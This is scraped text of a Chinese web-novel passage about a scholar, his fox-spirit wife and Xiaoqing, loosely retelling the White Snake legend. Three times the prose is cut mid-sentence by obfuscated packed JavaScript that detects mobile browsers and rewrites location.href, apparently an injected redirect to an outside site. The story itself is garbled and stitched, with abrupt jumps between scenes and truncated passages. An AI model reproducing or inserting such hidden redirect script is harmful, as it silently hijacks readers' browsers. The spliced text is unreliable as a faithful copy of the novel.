“我……我听说……“胡翘翘的脸更红了,偷偷瞄了一眼陈子均,脸颊又腾地一下红了,声音细若蚊呐,“反正,翘翘已经懂了……相公,你不用害羞,无论你是什么样儿,翘翘都喜欢……“ “……“ 胡翘翘见他沉默,牵起他的手,放在自己心口,水汪汪的大眼睛直勾勾地盯着他,“相公,你相信翘翘,翘翘真的……真的不会嫌弃你……“ 陈子均反应过来,抬手在她脑门上敲了一下,“小脑袋瓜里都在想些什么呢?行了,不早了,赶紧回房睡觉!“ 说完,他转身就出了浴室。 回到房间,吹灭了蜡烛,陈子均躺在床上,却翻来覆去睡不着。脑海中不断浮现出胡翘翘那双清澈而又充满渴望的眼神,还有那句“无论你是什么样儿,翘翘都喜欢……“ 他心中五味杂陈,既感动于胡翘翘的爱意和包容,又担忧自己身上的秘密会吓到她。 唉…… “相公……“ 就在这时,耳边忽然传来胡翘翘软糯的声音,带着一丝撒娇的意味。 她像只八爪鱼一样缠了上来,将脑袋埋在陈子均的脖颈间,用力的呼吸了一下,而后叹道:“哇,相公,你身上的味道好好闻啊,翘翘真想闻一辈子!“ 陈子均有些好笑的弯起嘴角,紧了紧抱着她的手臂。 “睡吧。“ 又过了一会儿,胡翘翘忽然说:“相公,人家有点热。“ 陈子均说:“今天不是比前几天还凉快吗?“ “反正我热。“ “那你变点冰块出来?“ “不用了,我把亵衣脱掉好啦。“胡翘翘说着,就已经开始动手解开了亵衣的系带。 白皙滑嫩的肌肤在月光下仿佛上好的羊脂玉,散发着莹润的光泽。 她还故意在陈子均面前晃了晃,才轻盈地掀开被子,钻了进去,再次抱着陈子均。 不过,当肌肤贴上陈子均的胸口时,胡翘翘还是忍不住轻颤了一下。 唔,有点凉…… 但她非但没有退缩,还往陈子均的怀里拱了拱,贴得更紧密了几分。 “娘子……“陈子均叹了口气。 “相公,怎么了?“胡翘翘眨巴着眼睛,一脸无辜地望着他,一边还故意往他怀里蹭了蹭。 “没什么。“陈子均深吸一口气,努力让自己冷静下来,“很晚了,睡觉吧。“ “哦……“胡翘翘的声音委屈, 是真的委屈,她都按照小青说的方法,一个一个的试过了,相公怎么还无动于衷呢? 哎,小狐狸很惆怅,乖乖地闭上了眼睛。 陈子均也闭上了眼。 然而,没过多久,他就感觉到一只不安分的小手,正顺着他的衣襟,慢慢地、慢慢地…… 一开始,这只小手还算收敛,只是慢慢地在他的胸口上游走。 然后,见他没有什么反应,于是它开始试探地向下,来到他的腰间。 再然后,继续…… “相公,你的心脏跳得好快呀。“胡翘翘将脸贴在陈子均的胸口,故作好奇地说了句,然后,那只小手,反而更加大胆。 “好好睡觉!“陈子均开口。 “我在睡啊。“胡翘翘手下不停,继续。 她现在已经知道了,那个不是墨锭啦…… 不过,还没有亲手摸过呢…… 陈子均深呼吸一口气,伸出手握住她动作的手,道:“不要闹了,睡觉!“ 相公,你还有一件事没做呢。“胡翘翘眨眨眼。 “什么事?“ 胡翘翘抽出手,一不做二不休的,直接一翻身,叉开腿坐到了陈子均的腰上。 长发散落下来,月色中她美如神祇, 陈子均看着胡翘翘,在这夜里,她的眼睛像是星光那么璀璨,里面有浓浓的,对他的爱恋和欢喜。 没有任何杂质的感觉,单纯又热烈。 她这样的眼神,总是让他的心弦一次次颤动。 她轻声说,“夫妻之间,该做的事情呀!“ 陈子均犹豫了一下,抬起手,轻轻地抚摸着她的脸颊, “娘子,听话,现在还不行。“ “为什么呀?“胡翘翘有些不满地地扭动了几下,在陈子均的身上带起一阵酥麻的触感。 “因为……“陈子均想了想,板起脸,严肃道,“因为……因为我现在要专心准备乡试,不能被别的事情分心打扰,要好好休息,这夫妻之事,可是很耗体力的,知道吗?“ 胡翘翘有些委屈,不过又觉得有道理。 也对,现在相公最重要的任务是考取功名,光耀门楣,总不能因为自己的不懂事儿,害得相公十几年的苦读付诸东 流。 “哦……“她叹了口气,乖巧地点了点头,“翘翘知道了。“ “嗯,娘子真乖。“ 胡翘翘恹恹地从陈子均的身上下来了,又穿好亵衣,躺回被窝。 陈子均替她把被子掖好了,温声说,“睡吧。“ 胡翘翘想到什么,又扭头看着他,小声问:“相公,那考完乡试以后呢?“ “乡试考完以后啊……“ 陈子均算了一下,到那时,她也应该快凝结妖珠了, “嗯。“ “嗯是什么意思?“胡翘翘突然看到希望,连忙问,“是等到乡试以后,就可以了吗?“ 陈子均咳了一声,“是。“ “乡试呀……“胡翘翘掰着手指头算了算,然后幽幽地叹了口气,“唉……还有一个月呢。“ 但她转念一想,三年多都过来啦,还在乎再一个月吗? 一个月以后,她就可以和相公…… 嘻嘻嘻…… 想到这里,胡翘翘立即转嗔为喜,抱着陈子均将脑袋靠在他的身上,没有其他的小动作。 “说好啦,等相公乡试以后,我们再行那夫妻之事,好了,翘翘不打扰你睡觉了。“ …… 没一会儿,胡翘翘就进入了梦乡。 陈子均却毫无睡意。 他侧过身,看着月光下胡翘翘的睡颜,伸手轻轻抚摸着她白皙的脸颊。 小狐妖的心思单纯,满心满眼都是他,他如何感受不到? …… 天边渐渐浮现出一丝清朗。 陈子均睁开了眼。 他低头看了看,怀里的胡翘翘睡得正香,白皙的脸颊上带着一抹淡淡的红晕,长长的睫毛在眼睑下投下一片阴影,小巧的鼻子微微皱起,红润的嘴唇微微张开,似乎在梦中呢喃着什么。 陈子均小心翼翼地抽出手臂,却不料动作稍大了点,惊动了胡翘翘。 “相公,你醒啦?“胡翘翘的声音迷迷糊糊的,还带着一丝睡意浓浓的娇憨。 “嗯,你再睡会儿。“陈子均为她掖了掖被角,这才轻手轻脚地下了床。 “哦……“胡翘翘眼皮还有些沉重,翻了个身,又沉沉睡去。 此刻,晨曦初露小青正在园子中练剑。 她手中这柄剑,通体银白,寒光凛凛,正是当年她和姐姐降服蜈蚣精所得的雌雄双剑之一,她的是雌剑。 这剑也是一样法宝,对敌时可一化为二,一柄斩肉身,一柄斩神魂。 见到陈子均从屋内走出,小青连忙收起长剑,转身行礼道:“公子,你起来了。“ “嗯。“陈子均淡淡应了一声,脸上看不出什么情绪。。 小青的眼珠子转了转,状似不经意地问道,“翘翘姐呢,她还没醒吗?“ “没有,她昨天睡得比较晚,让她多睡会儿。“陈子均随口说。 小青闻言,脸上顿时露出了意味深长的笑容,还有一点微妙的欣慰。 “看样子,翘翘姐昨晚是如愿以偿了吧……“她在心里暗暗想着。 陈子均抬眸看了她一眼,才发现自己方才的回答有点歧义,但他也不好解释,只能面无表情地瞪了她一眼。 小青顿时一个激灵,轻咳了声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892990|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我去买早饭,方才再买些水果,公子想要点什么?“ 陈子均想了想,这个季节正是葡萄成熟的时候,便道:“要是有葡萄就买些回来。“ “好。“小青应了一声,转身走出了宅院,朝着城西走去。 一路上,小青的心情都很好,哼着小曲儿,脚步轻快。 “翘翘姐终于知道什么是夫妻之事了吧……哎呀,看来昨晚的情况一定很激烈,所以她现在还没起床……真是让人羡慕啊!“小青心里想着,脸上不自觉地露出了姨母般的笑容。 本想尽快买完东西回去,却不想在路过一家酒楼时,看到了一个熟悉的身影。 小青的脚步顿时一滞,整个人也愣住了。 许仙! 他怎么会在这里? 小青心中疑惑,连忙躲到一旁,偷偷观察起来。 只见许仙一身青衫,身边跟着个女子。那女子亲昵地挽着许仙的胳膊,两人有说有笑,看起来关系十分亲密。 小青顿时怒火中烧! 好你个负心薄幸的许仙!姐姐为了他被镇压在雷峰塔下,这才过了多久,他竟然就另结新欢,卿卿我我? 小青的胸口内怒火燃起,她直接冲过去,抬手指着许仙的鼻子骂道:“许仙!你简直不是个男人!“ 许仙被这突如其来的怒骂吓了一跳,看清来人,脸上闪过一丝错愕,随即是掩饰不住的惊喜。“小青妹妹?你怎么……“ “呸,谁是你小青妹妹,你也配么?!“小青怒不可遏,“姐姐为了你现在生死不知,你却在这里勾搭别的女人,你的良心是被狗吃了吗?!“ 她声音清脆,却蕴含着巨大的怒气,周围的人群都被吸引,纷纷侧目,将目光投向许仙。 许仙被她呵斥得脸色一阵青一阵白,深吸了口气,也是怒气上涌。 “我的良心被狗吃了?我看,是你们姐妹俩的良心才被狗吃了!“ “ 放你的屁!“小青怒极,几乎要指着他的鼻子骂,“我们姐妹二人,究竟何处对不起你?!“ 许仙冷笑一声,“难道你不知道,白素贞她……她可从未对我有过半点真情!那么久了,她甚至连碰,都没让我碰过!“他像是被人揭开了伤疤,声音都颤抖起来,“她之所以和我在一起,不过是想利用我修炼什么狗屁无情道,对她来说,我不过是一枚可有可无的棋子罢了!“ 小青一愣。 无情道…… 又是这三个字。 竟然和法海说的一样。 “我本是一个渴望平凡的普通人,只想娶妻生子,平淡度过一生……结果呢?你们不告诉我你们的真实身份,将我欺骗得那么惨!说到底,是你们蛇蝎心肠,我险些被你们害死!” 他越说越激动,一把甩开身旁女子的手,指着小青,一字一句道:“本就是你们先招惹我,又对我百般欺瞒,将我的人生搅得一塌糊涂,现在还指责我没有良心?我看是你们这些畜生才没有良心!” 小青顿时愣住了,她从未见过许仙如此激动的一面,更没想到他会说出这番话。 她被他的话震住了,一时间竟不知道该说什么好。 一时间,脑子里嗡嗡作响。 只有许仙愤怒的吼声还在回荡。 “她若真当我是夫君,为何要隐瞒身份,欺骗于我?修炼无情道,就可以随意戏弄他人的感情吗?“ “从我被吓死的那一日起,我就已经和她恩断义绝,以后她的名字,你休要再在我面前提起!我也根本不欠她的!“ 小青的俏脸,越来越白。 看着她摇摇欲坠的模样,许仙的心中突然也泛起了一阵悲凉。 他放低了声音,语气中带着几分疲惫和恳求,“其实,我只想做一个普普通通的凡人,有一个普普通通的妻子……请你们以后不要再来打扰我!“ 他身边的女子轻轻扯了扯许仙的衣袖,柔声道:“许郎,别生气了,咱们走便是。“ 许仙点了点头,深深地看了小青一眼,转身离去。 小青站在原地,怔怔地看着许仙离去的背影,整个人,都茫然到了极点,像是迷失了方向。 姐姐,我们……真的错了么? 你修炼的,真的是无情道么? 第121章 赠珠小青 晨曦透过窗棂,在桌上洒下几缕金光。 胡翘翘才刚起来没多久,此刻正百无聊赖地趴在桌边,一双小脚有一下没一下地晃着,像只慵懒的小猫。 见到小青拎着几样早点回来,她顿时来了精神,弯眉笑道:“小青你总算回来啦!我都快饿扁了!” 小青将买来的早点一一摆在桌上,水晶包的热气袅袅升腾,葱油饼散发着诱人的香气,还有甜而不腻的豆浆,令人食指大动。 胡翘翘夹起了一个还在冒着热气的水晶包,轻轻吹了吹,迫不及待地咬了一口,随即满足地眯起了眼睛,“唔,这家的水晶包真好吃!相公,你也快尝尝!”她夹起一个,喂到陈子均的嘴边。 陈子均笑了,张口将那个包子咬了进去,“娘子说好吃,我当然要尝尝。” 连吃了三四个,又喂陈子均吃了两个,胡翘翘才心满意足,视线无意中掠过小青,却见到后者低着头,心事重重地喝着豆浆。 胡翘翘怔了怔,关切地问道:“小青,你怎么了?是不是遇到什么事了?” 小青犹豫了片刻,将方才遇到许仙的事情,一五一十地说了出来,包括许仙说的每一个字,没有丝毫隐瞒。 然后,她目光微带迷茫地问:“公子,翘翘姐,你们觉得,究竟是我和姐姐错了,还是许仙错了?” “无情道……”胡翘翘咬着筷子,瞟了小青一眼,有些小心地道,“其实,我觉得……如果事情真如你说的那样,那这件事也不能全怪许仙……” 小青将求助的目光投向了陈子均。 陈子均的脸上看不出情绪,只淡淡地说:“当然是许仙错了。“ 胡翘翘不解,“为什么?” “他上辈子就不该救那条白蛇,这就是他和白蛇的因果,所以白蛇才会选中了他来完成无情道。” 小青沉默了。 她知道,陈子均是在反讽。 施恩的、救人的,反而遭到受恩的、被救的伤害,这是多么荒唐可笑的一件事。 屋子里一时静默下来,只余下窗外的鸟儿叫声。 小青轻轻咬着下唇,目光游移不定,半晌才鼓起勇气开口:“公子,翘翘姐,我想回一趟钱塘。” 胡翘翘面露疑惑:“回钱塘县?去看朋友吗?” “不是,”小青长叹一声,“我想去镇魔塔,见姐姐一面。” 她心中一直萦绕着一个挥之不去的疑问,想要亲口问问白素贞:她和许仙,究竟是不是姐姐用来修炼无情道的棋子? “镇魔塔?”胡翘翘下意识地重复了一遍。 小青攥住衣角,望着陈子均,“公子,翘翘姐,你们能答应我吗?” 陈子均没有直接回答,而是淡淡问道:“你想好了?镇魔塔戒备森严,你要如何进去?” 小青沉默片刻,摇了摇头。 “到时候再说吧,实在不行,我就硬闯!” 语气,中带着一丝决绝。 “硬闯?”陈子均看着小青,“镇魔塔高手如云,更有阵法禁制守护,硬闯无异于以卵击石。一旦你的身份暴露,不仅见不到白素贞,反而可能将自己也搭进去。” 小青咬了咬唇,默不作声了。 陈子均沉吟片刻,“这样吧,等我乡试结束,你再回钱塘县。到那时,我和娘子也顺便去那边游玩几天。“ “真的吗?!”胡翘翘惊喜万分,一把挽住陈子均的胳膊,兴奋地说道:“相公,这可是你亲口答应的,不许反悔!” 用过早饭,陈子均寻了个理由,将胡翘翘支开,然后将小青叫到了书房。 “你想去镇魔塔,其实有一个很大的问题。”他语气淡淡,却听得小青心头一紧。 “敢问公子,是什么难处?” 陈子均不答反问:“你知道镇魔塔的来历吗?” 小青摇了摇头。 “这些镇魔塔,是神魔大战之后,一位神明仿照上古神器昊天塔所建,专门用来镇压妖魔。” …… “什么?!”小青惊呼出声。 她也听说过昊天塔的传闻,据说它是上古神器,能降一切妖魔邪道,必要时甚至连神明也可以降服。但她一向以为只是传说罢了,此刻听到公子说,镇魔塔便是昊天塔的仿制品,顿时有种恍惚之感。 听公子的语气,难道这世上真有昊天塔? 若镇魔塔是仿制品,那么真正的昊天塔,又在哪儿? “我在你命魂上设下的禁制,虽然能掩盖你的妖气,让你能够在人间自由行走,不受神通境以下修士的察觉。”陈子均淡淡道,“但镇魔塔毕竟是仿照昊天塔所建,又是出自神明之手,其中蕴含了一丝类似于昊天塔的法则之力,而这种法则之力,便是专门用来镇压妖魔的,到时你一接近昊天塔,我为你所布的禁制可能就会失效,现出原形。” “公子的意思是……我根本无法靠近镇魔塔?”小青的心瞬间沉了下去,如果连靠近都做不到,那还如何寻找姐姐? 陈子均点了点头,又摇了摇头,“不过,也不是完全没有办法。” 小青先是一喜,随即又疑惑起来,“公子,你这话究竟是何意?” 陈子均没有 妖除魔!” 随着法海的梵音,金光更加耀眼,一条更加巨大的金色巨龙从法海身后腾空而起,咆哮着冲向李玥。 李玥面色微变,连忙招幽冥之门的大手,握向金龙。 轰地一声巨响,周围树木剧烈摇晃,落叶纷纷,李玥被震退数步,脸色苍白,嘴角溢出一丝鲜血。 她难以置信,没想到这个和尚的实力竟然如此强悍。 法海踏上一步,袈裟飞舞,他凛然道,“贫僧只使出了十分之一还不到的力量,李施主,回头是岸!” 李玥脸上黑气浮动得越发明显,她突然一抬手,取出一名铜镜,镜面对着法海一照。 她本以为,凭借这面铜镜的力量,足以将法海的魂魄摄取,没想到,法海竟动也不动! “阿弥陀佛!贫僧九世修行在身,岂是你用一面法镜就能奈何得来的!”法海轻叹一声,手中禅杖在地上一顿,口中一声暴喝:“大威天龙!世尊地藏!般若诸佛!般若巴嘛轰!飞龙在天!” 刹那间,金光万丈,一条金色巨龙自法海身后腾空而起,发出震耳欲聋的龙吟之声,那魔镜在这金色巨龙面前,如同豆腐一般脆弱,瞬间被撞得粉碎。 李玥大惊失色,她怎么也没想到,这和尚竟然如此厉害! 却见那金色巨龙张开血盆大口,朝着她狠狠扑来! “啊!”李玥被金色巨龙撞飞出去,摔在地上,口吐鲜血,脸色苍白。 法海正欲上前,将她体内的心魔驱逐出来,却见李玥忽然抱头惨叫。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892991|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “啊——” 她原本清澈的双眸,此刻竟充满了黑色的魔气,原本清秀的面容变得狰狞可怖,一双美目中充满了痛苦和挣扎。似乎在与什么东西做着斗争。 不好,心魔要将她彻底魔化! “孽障,还在负隅顽抗!”法海怒喝一声,正要出手,突然李玥仰头长啸,之前那清秀的女子已经不见,取而代之的是一个身穿黑色长袍,面目狰狞的怪物! 那怪物浑身散发着令人心悸的邪恶气息,一双血红色的眼睛死死盯着法海,嘴角裂开一个诡异的笑容,“一命换一命,也算值了!” “邪魔外道,也敢在我佛门放肆!”法海目光一凝,脚下金光一闪,竟是凭空生出一朵金色莲花!他每走一步,脚下便生出一朵莲花,步步生莲,宝相庄严! 莲花盛开之处,佛光普照,那怪物接触到佛光,顿时发出凄厉的惨叫,如同烈火焚身般痛苦! “啊!该死!你这秃驴!我诅咒你!啊!”它在佛光中痛苦挣扎,却根本无法逃脱,最终被法海一把抓住,收入了手中的金色盂钵之中。 一切恢复平静。 “阿弥陀佛,善哉善哉。”法海低声宣了一声佛号,又叹了一口气,“愿李施主早登极乐。” 玉珠儿心有余悸:“和尚,方才那个是什么怪物?” “是被心魔侵蚀神智,入魔后的人类。” “……真难看。”玉珠儿一脸嫌弃,又问,“那入魔后的人,还能变回来吗?” 法海摇摇头,“贫僧从未听说过。” 他收起盂钵,对玉珠儿道:“玉施主,我要到镇魔塔去一趟,将这魔物送过去……只是,镇魔塔对妖魔有镇压之力,你恐怕不方便跟着贫僧一起……” 说到这里,他顿了顿。 “哦,我懂了,和尚是要一个人去,对吗?” “没错。” 玉珠儿安静了会儿,点点头,“正好,我也和和尚一块儿呆腻了,打算去其他地方走走,见见世面。” “玉施主的意思,是想要以后也独自行动?” “嗯。” 法海略一沉吟,从手腕上褪下了一串佛珠,“那也好,这串佛珠就当做给玉施主的临别礼物,若将来有危急之际,玉施主可以用它来寻找贫僧。” “谢谢和尚。” 法海又摸了摸,拿出一些碎银,还有十几个铜板,“这些也给玉施主吧,你可以拿去买好吃的。” 玉珠儿没有伸手,“和尚辛苦化来的,自己不要吗?” 法海微微一笑,“出家人餐风饮露,一日化缘足以果腹。玉施主有了钱,看到喜欢吃的就可以直接买,不用抢。” 玉珠儿歪着脑袋想了想,还是将它们接了过来,“也行。” “玉施主切记,莫要伤人性命,莫要妄造杀孽,否则有损阴德。”” “知道了……” “那贫僧就此别过了。”法海双手合十。 “我送和尚。” “无妨,送与不送,终有一别。” 法海笑了笑,转身离去。 红色袈裟在风中猎猎作响,他一步便已走出了很远。 只余下禅杖轻摇的金环声,和他悠远空灵的话语,在风中飘荡。 “诸法因缘生,我说是因缘;因缘尽故灭,我作如是说……有缘再见了,施主。” 第122章 买话本子 东海之滨,碧波万顷,海风习习。 小青正在高高的天空,俯瞰着这片广阔无垠的海洋。 这片海域灵气充沛,的确是修炼的绝佳之地。但里面却盘踞着不少鱼儿虾蟹,其中甚至不乏一些开启了灵智的半妖,若是在她化龙的关键时刻前来打扰,那可就糟了。 “看来,想要安心化龙,还得先找到一个清净的地方。” 心念一动,小青化作一道青光,跃入海中。 转瞬间,她便变成了一条巨大的青蛇,在碧波万顷的大海中蜿蜒游动,向着海洋深处潜去。 海底世界,五光十色,美不胜收。各种奇形怪状的海鱼穿梭其中,色彩斑斓的珊瑚礁点缀其间,构成了一幅生机勃勃的海底画卷。 然而,在这美丽的景象背后,却隐藏着危机四伏。 “哪里来的家伙,竟然敢擅闯我的地盘!” 一声怒吼从海底深处传来,紧接着,一个巨大的黑影从远处疾驰而来,掀起滔天巨浪。 那是一头体型庞大的巨鲨半妖,浑身散发着凶悍的气息,眼中充满了警惕和敌意。 “滚!” 小青看都没看它一眼,冷冷地吐出一个字。 “大胆!竟敢如此无礼!”巨鲨勃然大怒,张开血盆大口,朝着小青狠狠地咬来。 小青的眼中闪过一丝不屑,玉手轻抬,一道青光闪过,那巨鲨庞大的身躯竟然被她轻而易举地扔出了海面,飞上半天高,然后扑通一声,重重地落入海中,激起冲天巨浪。 “啊,好厉害!”巨鲨半妖惊恐万状,夹着尾巴逃离了这片海域。 小青想了想,干脆释放出妖力,顿时,一股无形的威压以她为中心,朝着四面八方扩散开来。 感受到这股强大的气息,原本悠闲游荡的海底生物们都顿时吓得魂飞魄散,纷纷四散逃窜。 眨眼间,原本热闹的海底,便只剩下小青一人。 小青环顾四周,这才满意地点了点头。 “总算是清净了。” 她找了一处相对平静的海底洞穴,取出准备好的阵盘,激活了一个隔绝外界的阵法,确保万无一失后,才终于放下心来。 然后,她取出龙珠,将它吞入口中,然后趴在柔软的海草上,闭目凝神,开始吸收龙珠的力量。 渐渐地,她感觉到一股奇异的力量从龙珠中散发而出,流淌到她的四肢百骸,改造着她的血脉,她的身体也在一点一点地发生着蜕变…… …… …… 距离小青离开,已经过去了整整一周。 走之前,她和胡翘翘打过招呼,说是要出门散心,过段时间再回来。 胡翘翘起初还有些惦念,时常念叨着“小青怎么还不回来”,几日过后,她便也习惯了没有小青的日子。毕竟,和相公两人度过的日夜才是常态,小青也不过是这平静生活中短暂的插曲罢了。 这些时日里,陈子均便安心在家备考乡试,每日里除了偶尔陪胡翘翘出门走走,便是待在书房中温习功课。 这天中午,阳光正好,微风拂过,带来阵阵花香。 陈子均坐在书房的窗前,桌上堆满了书籍,他正全神贯注地研读着,偶尔提笔在纸上写下心得体会。 胡翘翘闲来无事,便也学着陈子均的模样,搬了张小凳子,坐在他身旁,捧着一卷《论语》,摇晃着小脑袋,装模作样地小声念起来。 “子曰:“三人行,必有我师焉。择其善者而从之,其不善者而改之……” 这段时间,胡翘翘已经把能看懂的书都翻了个遍,就连陈子均让她学习的《论语》也读完了,可每次读起来,还是觉得枯燥乏味。那些之乎者也的句子,在她眼中比天书还难懂。 她偷偷瞄了一眼陈子均,只见他正全神贯注地看着书,修长的手指轻轻翻动着书页,俊美的侧脸在阳光下仿佛镀上了一层金光,看得胡翘翘心中小鹿乱撞,哪里还看得进去书? 她索性将《论语》扔到一边,趴在桌子上,雪白的下巴枕着胳膊,一双水汪汪的大眼睛一瞬不瞬地盯着陈子均,眼中满是爱慕。 也不知过了多久,陈子均终于从书中抬起头来,一转头,就对上了胡翘翘亮晶晶的眼睛,那目光中带着几分狡黠,几分爱恋,让他忍不住心头一暖。 “娘子为何不看书,一直看我?” 胡翘翘弯起眼,绽放出一朵甜美的笑容,软声说道:“因为《论语》不好看,还是相公好看呀。” 陈子均忍不住笑了,却忽然想起,自己已经有两三天没有陪她出门了。 小狐狸向来活泼好动,估计早就闷坏了,只是习惯以他为主,不说罢了。 想到这里,陈子均放下手里的书卷,“娘子是闷了吧,是我不好,只顾着看书,冷落到了你。好了,下午我不看书了,我们出门走走。” 胡翘翘先是一喜,接着立马又想到什么,乖巧摇头,“不用不用,相公马上要乡试了,自然要抓紧时间,专心读书,翘翘不要紧的,等考完乡试再陪翘翘也是一样的。” 陈子均抬起手,轻轻揉了揉她毛茸茸的脑袋,柔声道:“也不在乎一个下午,何况读书本来就要讲究一个劳逸 结合,一味死读书,只会事倍功半。” “相公,事倍功半是什么意思?” “……就是,嗯,就是花了两倍的时间,效果却只有一半。” “哦……”胡翘翘眨巴下大眼,“相公的意思是不是说,陪翘翘出门散心,反而能让你读书的效果更好?” 陈子均笑了,夸奖道:“娘子真聪明,举一反三。” “嘿嘿,”胡翘翘从椅子上跳下来,走到陈子均身边,伸手环住他的脖子,将脑袋靠在他的肩膀上,像只小猫一样蹭了蹭,柔声道,“其实翘翘知道,相公是怕我闷,找理由陪我出门,相公对我真好~~” 陈子均被她逗笑了,伸手捏了捏她鼻子。 “谁让你是小马屁精呢。” “人家才不是小马屁精呢,人家是相公的宝贝。”胡翘翘抬起头,在他脸上亲了一口,笑嘻嘻地说道。 陈子均看着她这副天真烂漫的样子,也是满心温柔,“好了,是我的小宝贝。快去换衣服,我们这就出门。” “嗯嗯!”胡翘翘欢快地应了一声,像一只快乐的小鸟一样飞奔回房间,不一会儿就换上了一身鹅黄色的衣裙,别上一朵栀子花,才和陈子均一同出了门。 阳光透过树叶的缝隙,在地上投下斑驳的光影,微风拂过,带来阵阵清凉,让人心旷神怡。 两人手牵着手,漫步在长陵城的街道上,东逛西逛。 陈子均今日穿了一袭月白色长衫,腰间佩着一块温润的玉佩,更显得他丰神俊朗,气质出尘。而胡翘翘则是一身鹅黄色衣裙,衬托得她肌肤胜雪,明眸灵动,人比花娇,一路引来不少瞩目。 两人也没什么目的地,就沿着街道往前走着,若看到有感兴趣的店铺,便停下来看一看,若有想买的东西,就买下来。 转到一条小街后再往前几步,就来到了城中最有名的书店——墨香斋。 墨香斋是一家老字号书店,店面虽然不大,但却五脏俱全,从经史子集到诗词歌赋,应有尽有,而且还有一些珍贵的孤本和手抄本,吸引了不少文人墨客前来淘书。 刚一进门,就有一股淡淡的墨香扑鼻而来,让人心旷神怡。 “欢迎光临墨香斋,两位客官想要找些什么书?”一位精神矍铄的老者笑眯眯地迎了上来,他是这家书店的老板,姓张,大家都叫他张老。 “张老,我们随便看看。”陈子均笑着说道。 “好嘞,两位客官请随意。”张老说着,便转身去招呼其他客人了。 陈子均和胡翘翘手牵着手,在书店里踱步,书架上面的书都摆放得整整齐齐,最多的自然是读书人必备的各种经史子集,还有一部分是时下最流行的一些诗集、文集,再然后,就是各类杂书,什么神鬼志怪、占卜星象。 陈子均目光扫过书架,忽然心中一动,从杂书中抽出一本《聊斋志异》,随意翻了翻,递给身旁的胡翘翘:“娘子,你看看这种讲故事的话本子你可喜欢。” 胡翘翘原本兴致缺缺,一听到“讲故事”三个字,眼睛顿时亮了起来,一把抢过陈子均手中的书,迫不及待地翻看起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈子均闻声望去,只见之前在来长陵城的途中遇到的崔源和穆士铭二人正一脸兴奋地朝他走来,二人今日都穿着一身青衫,显得格外精神。 “原来是崔兄,穆兄,好久不见。”陈子均笑着拱手道。 “陈兄,上次一别,已有月余,不知近来可好?”崔源摇着折扇,风度翩翩地说道。 “托两位的福,一切安好。”陈子均答。 “陈兄今日怎么有空来这墨香斋?”穆士铭问。 “闲来无事,陪内人出来走走。” 崔源和穆士铭的目光中都是艳羡,异口同声,“原来是陪嫂夫人。” 胡翘翘俏脸一红,仿佛桃花盛开,羞涩地低下了头。 崔源又笑道:“不过,乡试在即,陈兄还有闲心陪嫂夫人逛街,看来是胸有成竹了。” 陈子均只是微微一笑,“两位不是也来了吗?” “嗐,我和崔兄听说墨香斋新进了一批珍贵的孤本,便想着来碰碰运气,看能不能淘到几本好书。”穆士铭指了指身后书架上的一排书籍。 “哦?不知二位可有收获?” “唉,别提了,好东西都被别人抢先一步买走了。” “是啊,我们来得还是晚了些。” 陈子均笑道:“无妨,二位还是以温习功课为主,不必太过执着于这些外物。” 这时,崔源又笑道:“长陵城这么大,我们能和陈兄重逢,也算是缘分,不如这样,明日我们二人做东,邀陈兄把酒言欢,如何?” 陈子均还没回答,穆士铭也连忙道:“陈兄千万不要嫌弃,上次的事情,我们还没感谢过你呢,” 陈子均沉吟片刻,最终还是点头答应了。 “明日午时,就在这里再见面吧。”崔源见陈子均答应,脸上顿时露出了欣喜的笑容。 “对,不见不散!”穆士铭接着道。 三人相视一笑,拱手道别。 第123章 一起洗……吧 晚饭后,夜幕逐渐降临。 陈子均坐在书桌前,将手中的书随意翻过一页。 另一边的卧室里,胡翘翘盘膝坐在床上,一丝丝肉眼难以察觉的月华之力从窗外洒落,被她吸入体内,化作精纯的太阴星力,滋养着她的命魂。 在她的魂海内,一只雪白的小狐狸,在其中缓缓浮动。 几个月前,这只小狐还虚幻不清,但此刻已经宛如实体,甚至隐隐约约能看见毛发上的纹路。 她现在要做的,就是将太阴星力继续压缩,等压缩到一定程度之后,就能凝结出妖珠,妖珠能形成一层结界,对命魂形成新的保护。 但想要凝成妖珠,就意味着,她必须要先渡过天劫。 胡翘翘其实挺害怕天劫的,上次看到卤蛋爷爷渡劫后的模样,她怕自己也会被劫雷劈成那副模样,实在太丑了。何况度天劫又那么危险,一个不小心,可能就从小狐狸变成了死狐狸。 可是没办法,她想要变强,她想在相公遇到危险时,能保护他,又或者避免自己有一天也被镇压到镇魔塔里,和相公永世分离,她只能努力地让自己按照相公的话来说,先继续打磨实力,等待有足够的把握时,再做突破。 只是她也感觉,那一天,不会太久了。 白光渐渐散去,胡翘翘轻吐一口气,缓缓睁开双眼,眼波流转间,带着一丝疲惫,也有一丝满足。 “今天就到这里了,去找相公啦。” 她从床上跳下,来到书房,看到了陈子均捧着书的背影,见他专注投入,她也很乖巧地没去打扰,而是从书架上取下了一本白天在墨香斋买的《西厢记》,轻手轻脚地走到一边的软榻上,翻开了第一页。 